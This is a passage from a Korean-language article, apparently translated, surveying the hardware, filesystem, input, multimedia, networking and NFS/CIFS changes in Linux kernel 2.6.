기능을 아예 꺼버릴 수도 있게 했다. 추가적으로 각 모듈이 자신이 어떤 하드웨어를 지원하는지 알도록 하고 이를 공표할 수 있는 공표하는 표준절차가 마련되었다. 이전 버전의 리눅스에서는 각 모듈이 자신이 지원하는 하드웨어가 무엇인지는 알고 있었지만 이 정보가 모듈 밖에서는 공유되지 못했었다. 이 개선사항 덕분에 레드햇의 kudzu와 같은 하드웨어 관리 프로그램들이 좀 더 지능적으로 개선될수 있게 되었다. 공식적으로는 지원되지 않으나 거의 비슷한 구조를 가진 하드웨어에 대해 드라이버에게 특정 하드웨어에 대해 강제로 동작하도록 하는 것이 가능해졌다. 새 커널 버전에서는 모듈 로딩 이외에도 디바이스 모델 자체가 상당한 변화를 겪었다. 정해진 디바이스를 감지하는 등의 단순한 역할만을 행하는 모듈 로더와는 달리 디바이스 모델은 시스템 내의 하드웨어 전반에 대한 책임을 지는 좀 더 깊은 개념이다. 리눅스 2.2 이전에는 모듈 레벨에서만 모든 것을 판단하는 통합 디바이스 모델의 가장 간단한 서포트만이 존재했었다. 지금까지는 이러한 구조로도 충분했으나 ACPI등 최신 하드웨어 기능들을 모두 이용하기 위해서는 각 디바이스가 사용하는 리소스만 아는 것으로 충분하지 않다. 디바이스가 사용하는 버스의 종류라던가 가지고 있는 부디바이스의 종류나 현재의 전원공급 상태, 충돌시 사용 리소스를 바꾸어야 하는지 여부 등의 여러가지 상태들을 파악하고 있어야만 한다. 심지어는 현재의 디바이스에 알맞은 모듈이 이미 로드되어 있는지 여부도 파악할 수 있어야만 한다. 리눅스 커널 2.4에서 PCI와 PC 카드, ISA, PnP 버스들을 동일한 인터페이스로 묶을 수 있는 통합 인터페이스가 도입되었다. 리눅스 2.6에서는 새로운 형식의 커널 오브젝트(kobject)를 통해 시스템의 디바이스 지원을 한 차원 높이 끌어올리고 있다. 레퍼런스 카운팅이나 전원 관리, 유저 스페이스(user-space)와의 연결 방법 제공 등 더 나은 통합된 인터페이스를 제공한다. 디바이스들에 대한 자세한 정보가 커널에 모두 제공되므로 랩탑이나 데스크탑 컴퓨터들에 대한 좀 더 심도 깊은 지원이 가능해졌다. 가장 좋아지는 부분은 PC카드나 USB, Firewire, 핫플러그 PCI등의 핫 플러그(hot plug)기기들에 대한 부분이 될 것이다. 되돌아 생각해보면 리눅스 2.2 이전까지는 이런 종류의 하드웨어 지원이 전무했었다. 근래에는 핫 플러그 방식으로 동작하는 기기가 예외적인 상황이 아니라 일반적인 경우가 되었으므로 새로운 디바이스 관리 시스템에서 기존의 디바이스와 핫 플러그 디바이스의 차이점을 제거하는 것이 꼭 필요했다. 커널의 서브 시스템에서 부팅시에 찾아낸 디바이스와 실행중에 찾아낸 디바이스의 차이점을 차별하지 않음으로써 핫 플러그 방식의 디바이스를 처리하는 방식이 간단해졌다. 이번 버전에서 새로 작성되고 개선된 부분은 전원 관리에 대한 부분이다. 최근에 새로운 표준으로 사용되는 ACPI(Advanced COnfiguration and Power Interface)는 지난 버전에 약간 엉성한 방식으로 지원됐었다. 이전의 표준이었던 APM(Advanced Power Management)와는 달리 ACPI를 사용할 때에는 OS가 모든 디바이스들에게 전원 공급 상태를 바꾸도록 통보해야 한다. 하드웨어 전체에 대한 정보를 모두 파악하고 있지 않다면 커널이 이런 통보 작업을 하는 것이 불가능할 것이다. 이 두가지 예로 든 것들 이외에도 통합의 효과로 이득을 보는 몇몇 분야들이 있다. 하드웨어의 연결시험(auditing)이나 감시 등이 그것이다. 마지막으로 (그리고 가장 중요한지도 모르지만) 시스템 파일시스템가 분화된 것이 중요한 변경사항이다. 시스템 파일 시스템은 "sysfs"라고 부르는데 프로세스는 'proc', 디바이스들은 'devfs', UNIX98 수도터미널(pseudo-terminal)들은 'devpts'이다. /sys에 마운트되는 이 파일 시스템은 커널이 디바이스를 어떻게 보는지 그대로 보여준다. (물론 예외도 있다) 검색된 디바이스의 속성의 갯수를 포함해서 디바이스의 이름과 IRQ, DMA, 전원 공급 상태 등의 사항들을 커널이 어떻게 파악하고 있는지 알 수 있다. 물론 이런 변화는 단기적으로는 혼란을 초래할 수도 있지만 결국에는 잘 이전될 것이다. 약간의 과도기가 있을 것이다. 시스템 하드웨어 지원리눅스가 주류로 나아가면서 각각의 커널에서 지원하는 디바이스들이 비약적으로 늘고 있다. 비교적 새로운 기술(USB 2.4등)이나 기존의 오래된 기술들(MCA 2.2등)도 포함된다. 커널 2.6이 발표되면서 리눅스가 지원하지 않는 하드웨어는 비교적 적다. 하지만 아직도 지원되지 않는 PC 하드웨어들이 있다. 그렇기 때문에 유연성을 향상시키기 위해 새로운 기능을 추가하기 보다 i386 하드웨어의 지원이 개선되는 것이다. 내장 디바이스프로세서의 타입과 거의 동일한 수준으로 비슷한 것이 시스템이 어떤 버스를 사용하고 있는지 여부이다. PC 업계에는 예전의 ISA를 비롯하여 현재의 외부 시리얼 장치나 와이러리스 버스에 이르는 필요 이상으로 많은 종류의 버스가 혼재되어 사용되고 있다. 리눅스는 언제나 최신의 버스나 디바이스가 발표되고 인기를 끌게 되면 즉시 이를 차용하여 지원하도록 하고 있지만 비교적 덜 인기가 있는 기술에 대해서는 조금은 느린 대응을 보이고 있다. 리눅스의 시스템 내부 디바이스에 대한 지원은 비교적 공명정대하다. 가장 좋은 예가 ISA 플러그앤 플레이에 대한 지원이다. 리눅스는 커널 2.4 이전까지는 어떠한 PnP에 대한 지원도 제공하지 않았었다. 하지만 이 지원은 PnP BIOS의 지원이 구현되면서 모두 지원되기 시작했다. 디바이스 이름에 대한 데이타베이스나 기타의 호환성에 대한 것들이 변화되면서 그렇게 되었다. 결과적으로는 이제 리눅스는 진정한 플러그앤 플레이 운영체제가 되어 버렸다. 다른 오래된 버스들, 예컨데 MCA나 EISA등이 모두 새로운 디바이스 모델에 포함되어 한꺼번에 구현된 것이다. 커널 2.6에서는 PCI(Peripheral Component Interconnect) 서브 시스템의 개선 사항에 포함하여 몇가지 이슈들이 개선되었다. 핫 플러그 PCI, 전원 관리, 다수 AGP의 지원, 등이다. 마지막으로 이런 버스들과 함께 리눅스 2.6에서는 "legacy" 버스라는 개념을 포함한다. 이것은 각각의 버스에 대해 거의 반드시 있을만한 디바이스에 대한 정보를 미리 가지고 있는 것이다. 예를 들자면 PC에서는 온보드 시리얼 포트, 패러렐 포트, PS/2 포트등이 어떤 버스에나 거의 반드시 포함되어 있는 디바이스들이다. 물론 이런 지원을 하기 위해서는 펌웨어를 억세스 하는 등의 좀 더 복잡한 작업이 수반되지만 일반적으로는 새로운 드라이버 패러다임에 걸맞는 방식으로 모든 디바이스들을 제어하도록 하는 수단이 된다. 외장 디바이스 최근의 개발 과정 동안 약간 오래된 내부 디바이스 버스들에 대한 새로운 기능추가가 좀 덜했던 것은 사실이지만 새로운 외장 하드웨어에 대한 지원은 그렇지 않다. 이쪽으로 가장 중요한 개발 사항 중 하나는 USB 2.0 디바이스에 대한 지원이다. 이들 디바이스들은 고속 USB 디바이스라고 불리는데 480Mbps의 속도가 나와 이전의 12Mbps로 동작하던 USB 디바이스들과 대조를 이룬다. 이것과 관련된 최신 표준인 USB OTG(USB On-the-go)는 현재 리눅스 2.6에서는 지원되지는 않는다. (이것은 PC를 끼지 않고 디지탈 카메라를 프린터에 연결하는 등의 일을 가능하게 해준다) (이에 대한 패치는 존재하지만 아직 메인 커널에는 통합되지 않았다) 이외에도 USB 디바이스들을 파악하는 루틴이 새로 작성되어 동일한 타입의 디바이스가 여러개일 때에도 잘 동작하도록 수정되었다. 이런 큰 변화들 말고도 리눅스 유저들을 위해 USB 디바이스들의 안정성, 호환성이 향상되도록 개발 과정에서 많은 배려가 있었다. 이런 것들과 정반대의 방향에서, 리눅스 2.6에서는 리눅스 시스템이 USB 호스트가 아닌 USB 디바이스로 동작하는 것이 가능하도록 하는 부분이 추가되었다. 예를들어 리눅스 기반의 PDA가 PC에 연결되어 제대로 동작할 수 있도록 하는 등의 일들을 위한 기반이 마련되었다. 임베디드 디바이스에서 리눅스가 제대로 사용되기 위해 꼭 필요한 기능이라고 할 수 있다. 무선 디바이스최근 몇년간 무선 디바이스들의 사용이 인기를 끌기 시작했다. 어떨 때에는 케이블이라는 것이 과거의 유물이고 몇년 안에 사라질 것처럼 생각되기도 한다. (물론 전원 케이블은 예외이다) 무선 디바이스에는 가장 흔히 쓰이는 네트웍 디바이스 부터 PDA와 같은 기기까지 포함한다. 무선 네트웍 분야에서 디바이스들은 보통 장거리 (아마추어 무선을 통한 AX.25) 디바이스와 단거리 (802.11 등) 디바이스로 나뉜다. 이들 각각의 디바이스들에 대한 지원은 리눅스 커널의 초창기인 1.2 시절부터 시작되었으며 커널 2.6에서 새로 갱신되었다. 가장 큰 변화는 단거리 무선 인터넷 기기들이 모두 "wireless"라는 부 시스템과 API로 통합되었다는 사실이다. 이런 통합은 디바이스의 종류별로 다른 설정을 해주어야 하는 문제를 해결하여 모든 디바이스에 대해 동일한 동작을 하는 사용자 프로그램의 작성을 가능하게 해준다. 이런 통합 이외에도 디바이스의 동작 상태 변경에 대한 통지라던가(로밍과 같은) 무선 디바이스에서 일어나는 주기적인 딜레이에 대한 TCP 차원의 처리와 같은 개선사항들이 포함되었다. 커널 2.4 사용자들로부터 무선 디바이스의 지원에 대한 요구가 많기 때문에 이들 많은 개선사항들이 2.4로 백포트 되어있기도 하다. 일반적인 무선 디바이스 분야에서 IrDA와 같은 디바이스에 대해 전원 관리라던가 커널 드라이버 모델로의 통합과 같은 개선사항이 있다. 그리고, 블루투스 디바이스들에 대한 지원에 비약적 향상이 있었다. 블루투스는 IrDA와 비슷하기는 하나 시거리가 확보되지 않아도 사용 가능한 단거리 저전력형 무선 디바이스 통신 방식이다. 프로토콜로서의 블루투스는 PDA나 핸드폰, 프린터, 자동차용 디바이스들과 같은 어떤 분야에서도 사용될 수 있도록 설계된 프로토콜이다. 프로토콜 자체는 두가지 방식으로 이루어져 있는데 오디오 데이타와 같이 손실 가능성 데이타를 전송하는데 주로 쓰이는 SCO(Synchronous Connection Oriented)방식과 정밀한 데이타 전송이 필요한 부분에 쓰이는 L2CAP(Logical Link Control and Adaptation Protocol)이 그것들이다. L2CAP 프로토콜은 많은 서브 프로토콜(sub-protocol)들을 지원한다. (포인트 투 포인트 네트워킹을 위한 RFCOMM, 이더넷과 같은 네트워킹을 위한 BNEP등) 블루투스를 활용하기 위한 리눅스의 지원은 날이 갈수록 향상되어가고 있고 소비자들이 더 많은 블루투스 디바이스들을 사용하게 되면 될수록 그 지원도 향상될 것이다. 최초의 블루투스 지원은 커널 2.4에서 시작되었다는 점도 특기할 만 하다. 블록 디바이스 지원스토리지 버스IDE/ATA(integrated DRive Electronics/Advanced Technology Attachment)나 SCSI(Small Computer System Interface)와 같이 스토리지 전용으로 사용되는 버스들은 커널 2.6 개발 과정에서 메이저 업데이트가 있었다. IDE 서브 시스템에 대한 부분이 가장 중요 한데. 확장성에 대한 문제들을 여러가지 다른 제약점을 해결하기 위해 커널 2.6의 개발 과정에서 완전히 새로 작성되었다. 예를 들어 이제 CD/RW 드라이브들은 이전 버전에서와 같이 SCSI 에뮬레이션을 통해 동작하는게 아니고 직접 디바이스와 통신할 수 있도록 개선되었다. 그리고 150MB/sec의 속도를 갖는 시리얼 ATA(S-ATA)디바이스들에 대한 지원이 추가되었다. SCSI 측면에서는 넓은 지원 범위와 확장성을 위한 여러가지 개선사항이 추가되었다. SCSI-2 멀티패스(multi-path) 디바이스에 하나의 디바이스에 2LUN을 갖는 경우에 같이 예전 방식에 대한 대한 지원도 추가되었다. (SCSI-2는 1994년으로 거슬러 올라가는 SCSI 표준의 이전 표준이다) 그리고 이제 리눅스도 윈도우와 같이 미디어의 교환을 감지해낼 수 있도록 개선되어 완전히 표준을 따르지 않는 디바이스들과도 호환성을 유지할 수 있도록 했다. 이들 기술들이 시간이 흐름에 따라 안정화 되어가기 때문에 이들에 대한 리눅스의 지원도 안정화 되어가고 있다. 물론 그 자체로는 스토리지 버스가 아니지만 리눅스는 EDD(Enhanced Disk Device) BIOS를 직접 지원할 수 있게 되었다. EDD BIOS는 바이오스가 알고 있는 시스템에 연결된 모든 디바이스에 대한 정보를 가지고 있다. (IDE와 SCSI를 모두 포함하여) 게다가 설정사항과 기타 정보들만 가지고 오는 것이 아니라 몇가지 장점들을 더 제공한다. 예를 들어, 새 인터페이스는 리눅스가 부팅할 때 어느 디스크 디바이스를 이용했는지를 알아낼 수 있게 하는 등의 새로운 인터페이스를 제공한다. 리눅스 설치시 어느 부분에 리눅스 부트 로더를 설치할 것이지를 지능적으로 결정하게 해주는 등의 좀 더 지능적인 설치 프로그램을 작성할 수 있게해준다. 이런 변화 사항들 이외에도 모든 버스 디바이스 타입들이 리눅스의 새로운 디바이스 모델 서브 시스템으로 통합 되었다는 점이 중요하다. 어떤 경우에는 이런 통합이 좀 우스워 보일수도 있을 것이고, 또 다른 어떤 경우에는 좀 더 심각한 변화사항들이 있는 경우도 있을 것이다. (예를 들어 디바이스가 수정이 필요한지 등에 대한 감지를 하는 로직 자체도 변화될 필요가 있다) 파일 시스템리눅스에서 블럭 디바이스 시스템을 사용하는 부분은 당연히 파일 시스템을 얹어서 쓰기 위해서이다. 리눅스 커널 2.4 이후로 많은 부분에서 광범위한 개선이 있었다. 그중 가장 중요한 점들은 확장 속성(extended attribute)의 지원과 POSIX 스타일의 억세스 콘트롤 방법이다. 일반적인 리눅스 시스템에서 ext2나 ext3 시스템을 사용한다. (ReiserFS가 세번째로 많이 쓰인다) 이들이 사용자들이 가장 많이 사용하는 시스템이기 때문에 개발 과정에서도 이들에 대한 개선 사항이 가장 많았다. 이들에 대한 가장 중요한 개선점은 확장속성(또는 메타데이타라고도 부른다)에 대한 지원이었다. 각각의 파일에 대한 속성들을 파일 시스템 내에 저장해 두는 것이다. 이들 속성 중 몇가지는 시스템이나 root 에 의해서만 읽고 쓸수 있도록 된다. 윈도우나 맥 OS와 같은 다른 운영체제들은 이미 이러한 기능을 사용하고 있다. 불행하게도 기존의 유닉스용 프로그램들은 이들 정보를 제대로 인식하거나 사용하지 못하는 경우가 많아 (tar등) 이들을 업데이트 해주지 않으면 안된다. 확장 속성이 이용된 가장 첫번째 분야는 POSIX 스타일의 억세스 콘트롤을 위한 부분이었다. 이것은 유닉스 스타일의 권한 체계보다 좀 더 확장되어 세밀한 권한 설정이 가능하도록 하는 시스템이다. ext3에 대한 이런 변화 말고도 몇가지 변화된 부분들이 있는데 저널링을 사용할 때 커밋(commit)시간을 전원 관리등을 설정해서 사용하는 노트북 유저들을 위해 튜닝될 수 있도록 수정되었다. 이 정보들은 파일 시스템 내에 저장되어 마운트 할 때마다 새로 지정해줄 필요가 없다. 그리고 디렉토리 내부의 파일 검색을 좀 더 빠르게 하기 위해 디렉토리가 인덱스 되었다는 표시를 해둘 수가 있다. 리눅스의 고전적 파일 시스템 이외에도 리눅스 커널은 XFS등과 같이 새로운 파일 시스템에 대한 지원도 포함한다. 이 파일 시스템은 Irix 시스템에서 기본으로 설정되는 XFS 파일 시스템에서 나온 것이고 블럭 레벨에서 호환성이 있다. ext3나 Reiser와 같이 루트 디스크에 쓰일 수 있고 확장 속성이나 ACL과 같은 새로운 기능들을 지원한다. 많은 배포본들이 리눅스 2.4 기반에 이 파일 시스템을 지원하기 시작했다. 하지만 어떤 파일 시스템이 최후의 승자가 될지는 아직 더 지켜봐야 할 것이다. 이외에도 리눅스는 파일 시스템 내부나 외부적으로 독점 운영체제와의 호환성을 개선시키기 위한 많은 개선사항이 있다. 우선 리눅스 2.6은 MS 윈도우의 논리 디스크 매니저(Logical Disk Manager)를 지원한다. 이것은 다이나믹 디스크라고 불리는 기능이다. 윈도우 2000이후 버전의 윈도우에서 파티션의 크기 조정을 자유롭게 하기 위해 새로 도입한 파티션 테이블 방식이다. (물론 리눅스 배포본에서 이 시스템을 사용할 것 같지는 않다) 리눅스 2.6은 또한 NTFS 파일 시스템에 대한 지원 부분을 완전히 재작성 하여 NTFS 볼륨에 대한 읽기 쓰기가 가능해졌다. (물론 쓰기에 대한 부분은 아직은 실험적이고 점진적으로 개선될 것이다.) 마지막으로 리눅스는 FAT12에 대한 지원 부분이 개선되어 몇몇 이 포맷을 사용하는 mp3 플레이어에 생기는 문제점들이 개선되었다. 확장속성 지원이 HPFS 파일 시스템에도 포함되었다. 이전 버전에서도 그랬지만 리눅스는 2.6에서도 다른 운영체제와 잘 섞여 사용할 수 있는 "스위스 군대 칼"과 같은 존재로서의 위상을 강화해 나가고 있다. 이들 변화 사항 말고도 리눅스 파일 시스템에 대한 많은 변화가 있었다. 할당량(Quota) 지원 부분이 좀 더 많은 사용자들을 지원하기 위해 재작성되었고, 각각의 디렉토리들이 동기적으로 동작할 수 있도록 개선되었다. (이것은 메일 시스템이나 디렉토리 기반의 데이타베이스 등의 시스템에 유용한데 디스크가 손상된 경우의 복구에 좋다) CD-ROM 등에 쓰이는 ISO9660 파일 시스템에서 투명한 압축이 지원되며 메모리 기반의 파일 시스템인 hugetlbfs가 새로 추가되어 공유 메모리 데이타베이스에 대한 지원이 강화되었다. 입출력 지원대부분의 컴퓨터 시스템들은 외부와 연결될 때 그리 중요해 보이지 않는 입출력 장치로 연결된다. 이에는 마우스와 키보드, 사운드 카드, 비디오 카드, 조이스틱과 같은 디바이스들이 포함된다. 리눅스 2.6 개발 과정 중에 많은 기기들에 대한 지원이 추가되었지만 기본적인 디바이스들은 그 이전부터 이미 지원되어 왔고 이미 충분히 안정적이다. 외부 버스 지원과 Bluetooth 지원 등과 같은 부분의 개선 덕분에 디바이스들에 대한 지원이 확장되게 되었다. 많은 부분에서 큰 개선이 있었다. HID(Human Interface Devices)커널 2.6의 내부 변화중 가장 큰 것들 중 하나가 바로 휴먼 인터페이스 레이어가 재작성된 것이다. 휴먼 인터페이스 레이어는 리눅스 시스템에 대한 사용자들의 접점을 규정하는 가장 핵심이 되는 부분이다. 커널 새 버전에서는 이 레이어에 대해 이전 버전보다 더 큰 작업이 행해졌고 더 모듈화 되었다. 이제는 디스플레이와 같이 필수적이라고 생각했던 것들이 없어도 시스템 구성이 가능하다. 철저하게 모듈화 되어서 그렇다. 이런 모듈화의 가장 큰 장점은 임베디드 디바이스에 대한 개발이 손쉬워졌다는 것이다. 넣고 싶은 기기를 넣고 빼고 싶은 기기를 뺄 수 있으며 대신 네트웍이나 시리얼 포트를 통해서 제어한다던지 하는 일들이 가능해졌다. 하지만 사용자들의 측면에서는 다른 측면에서의 장점이 생긴다. 예를 들어 PC를 가지고 있다면 무조건 표준 AT(i8042)기반의 키보드가 있어야 한다던지 하는 기본 전제를 무시할 수 있게 된 것이다. 리눅스의 모니터 출력을 지원하는 부분에도 많은 변화가 있었다. 물론 커널 내부의 프레임버퍼 서브 시스템을 사용하는 경우에만 해당되는 경우가 대부분이지만. (인텔 기반의 리눅스 시스템들은 대부분 그렇지 못하다) 필자 개인적 의견으로는, 이 기능의 가장 좋은 점은 부팅 시에 귀여운 팽귄 로고가 24bpp의 해상도로도 지원될 수 있게 된 점이다. 그리고, 콘솔 자체도 리사이즈 되거나 회전할 수 있게 되었고(PDA등에서 유용할 것이다) 좀 더 많은 하드웨어를 지원한다. 마지막으로, 리눅스 커널에 VESA(Video Electronics Standard Association) 모니터들에 대해 그들의 기능에 대한 쿼리를 날릴 수 있다. 물론 이런 일들은 XFree86에서는 이미 하고 있던 일들이기는 하다. 이런 큰 변화점들 말고도 리눅스 2.6은 또한 사용자와 상호작용하는 측면에서 작은 변화들을 많이 포함하고 있다. 예를 들어, 터치 스크린이 이제 지원된다. 마우스와 키보드 드라이버들도 표준화 되어 동일한 디바이스 노드를 가지게 되었다.(예를 들어 마우스는 /dev/input/mouse0) 복잡한 마우스들(휠이 여러개라던가)도 이제 지원된다. PC 키보드 매핑에 대한 부분도 개선되어 표준 윈도우 키보드도 지원된다. XBox 게임패드등 조이스틱에 대한 지원도 많은 드라이버들이 나와주어서 상당히 개선되었다. 포스 피드백 지원도 포함되었다. 마지막으로, Tieman Voyager 브라이유(braille) 점자 TTY 디바이스에 대한 지원이 포함되었다. (이 기능은 리눅스 2.4에도 백포팅 되었을 정도로 중요한 기능이다) 한가지 덧붙이면, 리눅스에는 로컬 키보드를 갖지 않은 시스템을 위한 "시스템 리퀘스트(system request)"인터페이스에 작은 변화가 생겼다. 시스템 리퀘스트(sysrq) 인터페이스는 시스템 관리자가 콘솔에서 디버깅 정보를 얻고 시스템을 리부팅 하고 파일 시스템을 읽기 전용으로 마운트 해서 여러가지 일들을 할 수 있도록 만들어졌다. 리눅스 2.6에서 키보드 등이 없는 시스템을 지원하므로 이들 이벤트들을 /proc 파일 시스템을 통해 발생시키도록 할 수 있게 되었다. (물론 시스템이 멈추거나 한 경우에는 별 도움이 안되겠지만) 오디오 & 멀티미디어리눅스 2.6으로 넘어오면서 사용자들이 가장 기다렸던 추가 기능 중 하나가 ALSA(Advanced Linux Sound Architecture)이다. 이전의 사운드 시스템인 OSS(Open Sound System)이 그동안 사용되어 왔지만 몇가지 구조적 제약사항들 때문에 대치되게 되었다. 첫번째 개선사항은 기반부터 철저하게 쓰레드와 SMP에 안전하도록 설계되었다는 점이다. 이전에는 데스크탑은 무조건 CPU를 하나만 갖는다는 가정 하에 동작하도록 되어 있었다. 더욱 중요한 점은 대단히 모듈화 되어 새로운 사운드 카드의 지원도 손쉬워 졌다는 점이다. 물론, 내부가 아름다와 졌다고 해도 외부에 보이는 기능 개선이 없다면 사용자 측면에서는 별 의미가 없을 것이다. 새로운 사운드 시스템은 상당히 많은 강력한 기능들을 가지고 있다. 가장 큰 기능들을 꼽아보면 새로운 사운드 디바이스(USB오디오나 MIDI디바이스)들에 대한 지원, 전이중(full-duplex) 재생과 녹음 기능, 하드웨어 믹싱, 사운드 디바이스들의 통합 작동 등등이다. 오디오 기능에 대한 매니아이건 MP3만 듣는 정도의 사용자이건 무척 환영할 만한 기능들이다. 간단한 오디오 재생뿐 아니라 근래의 사용자들이 원하는 기능들은 상당히 다양하다. 웹캠, 라디오 또는 TV 어댑터, 디지탈 비디오 레코더 등도 포함된다. 이 세가지 경우에 대해 리눅스 2.6에서의 지원이 개선되었다. 리눅스에서 이전에도 이미 라디오 카드나 TV 튜너, 비디오 카메라 등을 지원해왔으나 극히 최근의 일이다. Video4Linux(V4L)이라고 불리는 이 시스템에 많은 개선사항이 추가되어 최신버전에서는 API의 정리작업이 수행되었고 좀 더 많은 기능들이 추가되었다. 새로운 API는 이전 버전의 API와 호환되지 않아 이전 버전의 API를 사용하는 응용 프로그램은 새로 업그레이드 해야 한다. 또다른 특기사항을 리눅스 2.6에서는 디지탈 비디오 방송(DVB) 하드웨어에 대한 지원을 포함한다. 셋탑 박스 등에서 사용하는 이런 하드웨어는 리눅스 시스템을 Tivo와 같은 디바이스로 변신시킬 수 있는 기능을 제공한다. 소프트웨어 개선사항들네트워킹항상 최신의 네트워킹 지원이 리눅스의 가장 중요한 인기 포인트 중 하나였다. 리눅스는 이미 TCP/IP(v4 & v6), Apple Talk, IPX등과 같이 가장 인기있는 네트웍 프로토콜들을 지원한다. (지원하지 않는 것들 중에는 NetBEUI같은것도 있기는 하다) 다른 서브 시스템들의 변화와 마찬가지로 네트웍 하드웨어에 대한 변화들은 지극히 내부의 일이고 겉에서는 잘 알아차리기 힘들다. 하부 구조들은 디바이스 모델과 디바이스 드라이버들이 새로이 업데이트 된데에서 많은 장점을 얻었다. 예를 들어, 리눅스는 현재 여러 네트웍 디바이스 드라이버들이 사용하던 MII(Media Independent Interface 또는 IEEE802.3u) 서브 시스템을 가지게 되었다. 이 새로운 서브 시스템은 각각의 디바이스들이 조금씩 다르게 다루던 부분들을 모두 수정하게 된다. 다른 변화들은 ISDN 업데이트와 같은 것들이 있다. 소프트웨어 측면에서 가장 큰 변화중 하나는 IPsec 프로토콜의 지원이다. IPsec 또는 IP Security라는 프로토콜은 IPv4와 IPv6에서 네트웍 프로토콜 레벨에서 암호화 보안을 사용 가능하게 해주는 프로토콜의 집합이다. 보안 기능이 프로토콜 레벨에 들어가기 때문에 응용 프로그램들에서는 이것들을 의식해서 새로 작성하거나 할 필요가 없다. 이것은 SSL이나 터널링/보안 프로토콜과 동일한 개념이지만 그보다 좀 더 저수준이다. 현재 커널에서 지원하는 암호화는 SHA(Secure Hash Algorithm)나 DES(Data Encryption Standard)등을 포함한다. 프로토콜의 다른 부분에서는 리눅스는 멀티 캐스트 네트워킹에 대한 지원이 강화되었다. 멀티캐스트 네트웍은 한개의 패킷을 보내면 여러 대의 컴퓨터에서 그 패킷을 받게 되어 있는 네트웍이다. (기존의 포인트-투-포인트 방식의 네트웍과 비교해 생각해보라) 이는 Tibco와 같은 메시징 시스템이나 오디오/비디오 컨퍼런스 소프트웨어에 사용된다. 리눅스 2.6은 MLDv2(Multicast Listener Discovery)와 IGMP3(Internet Group Messaging Protocol)과 같은 몇가지의 SSM(Source Specific Multicast) 프로토콜들을 지원한다. 이들은 Cisco와 같은 하드웨어 네트워킹 벤더들에 의해 지원되는 표준 프로토콜 들이다. 리눅스 2.6은 또한 LLC 스택을 분리구현했다. LLC는 Logical Link Control 프로토콜(IEEE 802.2)인데 NETBeUI나 IPX, Appletalk과 같은 몇몇 일반적인 고수준의 네트웍 프로토콜의 기반을 이루는 저수준 프로토콜이다. 변화의 일부로는 IPX, Appletalk, 토큰 링 드라이버들이 새 서브시스템의 이득을 보기 위해 새로이 작성되었다. 외부 프로젝트로 NetBEUI 프로토콜 스택을 작성하는 프로젝트가 진행되고 있는데 이것이 커널 내부로 병합될지는 두고 봐야 할 것이다. 이것들 이외에도 작은 변화들이 상당히 많다. IPv6에 많은 변화들이 가해졌고 토큰 링 네트워크에서도 동작하게 되었다. 리눅스의 NAT/masquerading 지원은 다중 접속을 필요로 하는 프로토콜들(H.323, PPTP등)에 대해서도 잘 지원하도록 수정되었다. 리눅스에서 VLAN을 설치하는 것은 이제는 더 이상 "실험적"이라고 할 수 없다. 네트웍 파일 시스템리눅스의 유연한 네트웍 프로토콜 지원의 상단에는 역시나 유연한 네트웍 파일 시스템 지원이 존재한다. 네트웍 파일 시스템을 노출(export)하고 마운팅하는 것은 커널이 직접 관리하는 고수준의 네트웍 동작이다. (역시 비슷하게 응용 프로그램에서 파일처럼 사용하게 되는 네트웍 블록 디바이스들은 2.6에서 그리 큰 변화가 있지 않았다) 그외의 네트웍 동작들은 대부분 사용자 스페이스로 밀려갔고 커널 개발자들의 영역에서 다소 멀어졌다. 리눅스와 유닉스 호환 운영체제의 세계에서 가장 중요한 네트웍 파일 시스템은 NFS(Network File System)이다. NFS는 매우 복잡한 파일 공유 프로토콜이며 유닉스에 깊은 뿌리를 박고 있는 파일 시스템이다 (특히나 썬의 솔라리스에서의 구현은 더 그렇다) NFS는 TCP나 UDP등을 사용할 수 있지만 몇가지 별도의 RPC(Remote Procedure Call)를 기반으로 동작하는 서브 프로토콜들도 필요로 한다. 이것들은 인증을 위한 "mount" 프로토콜과 파일 록킹을 위한 NLM(Network Lock Manager)등을 포함한다. (일반적인 구현 버전들은 대부분 또다른 RPC 기반의 프로토콜인 NIS에 인증등의 기능을 의지한다. NIS와 그 비슷한 것들은 보안상 그리 안정적이지는 않기 때문에 리눅스 머신에서는 일반적으로 많이 쓰이지는 않는다) NFS가 널리 쓰이는 인터넷 프로토콜의 위치를 차지하지 못한 것은 그 복잡함 때문일 것이다. 리눅스 2.6에서는 NFS는 많은 개선이 있었다. 가장 큰 개선이라면 서버나 클라이언트에 새로운 NFSv4 프로토콜을 실험적으로 지원한다는 것이다. (이전 버전의 리눅스에서는 v2나 v3만 지원했었다) 새 버전은 좀 더 강력하고 안전한 암호에 기반한 인증을 지원하며 좀 더 지능적인 록킹(locking)과 가짜 파일 시스템(pseudo-filesystem)을 지원한다. NFSv4의 모든 기능이 아직 구현되지는 않았지만 지원 자체가 제법 안정적이어서 중요한 서버에서도 사용될 수 있을 만큼의 안정성을 보인다. 추가적으로 리눅스의 NFS서버 구현은 좀 더 확장성 있게 설계되었다 (64배 더 많은 동시 사용자와 더 큰 요청 큐를 가진다). 그리고 좀 더 완전하고(TCP와 UDP상에서 동작), 좀 더 유연하며, 좀 더 쉽게 유지보수가 가능하다. (시스템 콜이 아닌 nfsd 파일 시스템을 통해서 가능하다) 별도로 분리된 lockd와 nfsd, 지원되는 인터페이스에 대한 zero-copy 네트워킹 등의 숨겨진 변화들도 많다. NFS는 시스템 관리자가 커널의 lockd 포트 번호를 할당할 수 있도록 하여 비교적 손쉽게 보안을 강화할 수 있도록 하였다. NFS 클라이언트 사이드는 또한 캐쉬 구조와 UDP를 통한 연결 콘트롤, 기타 TCP에 가해진 개선사항등 하부의 RPC 프로토콜에서 이득을 본다. 리눅스에서 NFS 볼륨을 루트 파일 시스템으로 사용하는 것은 (디스크 없는 시스템과 같이) TCP 상의 NFS가 지원되도록 개선되어 가능하도록 되었다. 이와 같은 유닉스 스타일의 네트웍 파일 시스템 이외에도 리눅스 2.6에서는 윈도우 스타일의 네트웍 파일 시스템에 대해서도 많은 개선이 있었다. 윈도우 서버군에서 표준으로 사용하는 공유 파일 시스템인 SMB 프로토콜에 대한 지원이 더 강화되었다. 물론 윈도우 2000에서는 SMB 프로토콜보다 좀 더 개선된 버전인 CIFS(Common Internet Filesystem)이라는 것이 표준화 되었다. 이 업그레이드는 프로토콜 자체가 특정 시점에 엉망이 되는 것을 막고 좀 더 잘 동작하도록 하는데 목표가 있다. (프로토콜 자체가 많이 개량되어 결국 어떤 시점에서부터 윈도우 NT나 윈도우 2000과 윈도우 95/98/ME와 호환이 되지 않게 되었다) CIFS는 그 목적 이외에도 유니코드 지원, 파일 록킹 기능 개선, 하드 링크, NetBIOS에 대한 의존성 제거, 그리고 윈도우 